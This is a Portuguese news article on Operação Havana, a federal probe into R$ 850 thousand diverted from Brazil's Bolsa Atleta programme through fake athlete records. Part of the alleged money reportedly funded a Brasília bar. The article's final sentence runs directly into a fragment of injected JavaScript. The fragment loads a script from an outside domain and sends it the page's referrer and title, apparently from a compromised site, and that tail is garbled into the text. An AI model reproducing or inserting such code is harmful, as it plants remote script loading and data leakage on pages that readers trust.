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PF faz buscas em bar do DF por suspeita de fraude no Bolsa Atleta

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O Ministério Público Federal (MPF/DF) e a Polícia Federal (PF) deflagraram, na manhã desta sexta-feira (18), a Operação Havana. O objetivo da operação é investigar uma quadrilha que inseriu dados de atletas “fantasmas” nos sistemas do Ministério do Esporte, com o objetivo de desviar recursos do Bolsa Atleta.

Ao todo, são 15 mandados, sendo dez de condução coercitiva e cinco de busca de apreensão – um deles no Bar Versão Brasileira, na 204 Sul. A suspeita é que o dinheiro desviado do esquema tenha sido usado para abrir o estabelecimento comercial.

A suspeita é de que de R$ 850 mil tenham sido desviados do Programa Bolsa Atleta em 2012, por um terceirizado do Ministério que, à época dos fatos, atuavam na coordenação do programa. O esquema envolvia ainda o repasse do dinheiro ilícito a terceiros que atuavam como laranjas para viabilizar a lavavam dos recursos.

As medidas foram autorizadas pela 10º Vara da Justiça Federal, em Brasília, e incluem o pedido de sequestro de bens, como forma de assegurar a reparação dos danos causados aos cofres públicos.

Nos pedidos encaminhados à Justiça, o procurador da República Ivan Cláudio Marx, -que conduz as investigações no MPF- explica que a fraude foi descoberta ainda em 2012, em consequência de uma demanda da Controladoria Geral da União (CGU). Ao comparar a lista de pessoas incluídas no sistema do bolsa atleta com a relação de pagamentos enviada à Caixa Econômica Federal (CEF), o Ministério descobriu que havia 25 atletas “fantasmas”. Pessoas que recebiam o auxílio mesmo não sendo cadastradas no programa.

Com as investigações, o MPF constatou que os valores referentes a esses supostos beneficiados estavam sendo depositados em seis contas. O titular de uma delas era o próprio coordenador do Bolsa Atleta. Outra, tinha como titular a sua irmã. Também ficou comprovado que, por atuar na coordenação do programa, o ex-servidor conseguia modificar os arquivos de ordens bancárias que o Ministério enviava à CEF.

Versão brasileira do esquema

Além da constatação do desvio por meio de depósitos bancários, pesa contra os envolvidos, o fato de, após ter pedido para sair do Ministério dos Esportes, o ex-coordenador ter passado a ser sócio do Bar Versão Brasileira.

A suspeita é a de que a participação dele no empreendimento foi viabilizada pelo uso “dos valores indevidamente apropriados do Bolsa Atleta”. O propósito das medidas cautelares cumpridas nesta sexta-feira, segundo o MPF, é reunir mais provas sobre o funcionamento do esquema, bem como esclarecer o vínculo dos titulares das contas beneficiadas com os desvios do recursos públicos.

Outro lado – Procurado, o Ministério do Esporte não se pronunciou sobre o assunto. Os donos do Versão Brasileira também não foram encontrados. Segundo edital de inscrição para o programa, publicado no último dia 7, o ministério este ano vai conceder bolsas nas categorias Atleta de Base (equivalente a R$ 370 mensais), Estudantil (R$ 370), Nacional (R$ 925), Internacional (R$ 1.850), e Olímpica/Paralímpica (R$ 3.100). A iniciativa visa a garantir as condições mínimas para que atletas de alto rendimento em suas respectivas categorias se dediquem, com exclusividade, ao treinamento e às competições locais, sul-americanas, pan-americanas, mundiais, olímpicas e paralímpicas.

Pela Lei 10.891, que regulamenta o programa, todo candidato à bolsa deve atender a uma série de requisitos, como ter participado de competições nacionais e internacionais de suas modalidades no ano anterior e estar vinculado a alguma entidade de prática desportiva. Além disso, desde 2011, atletas de modalidades individuais olímpicas e paraolímpicas que se candidatem na chamada categoria Atleta Pódio, devem estar entre os vinte primeiros colocados do mundo em sua modalidade ou prova específica, conforme critérios definidos pelas respectivas entidades nacionais de administração do desporto em conjunto com o Comitê Olímpico Brasileiro ou Comitê Paraolímpico Brasileiro e o Ministério do Esporte.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;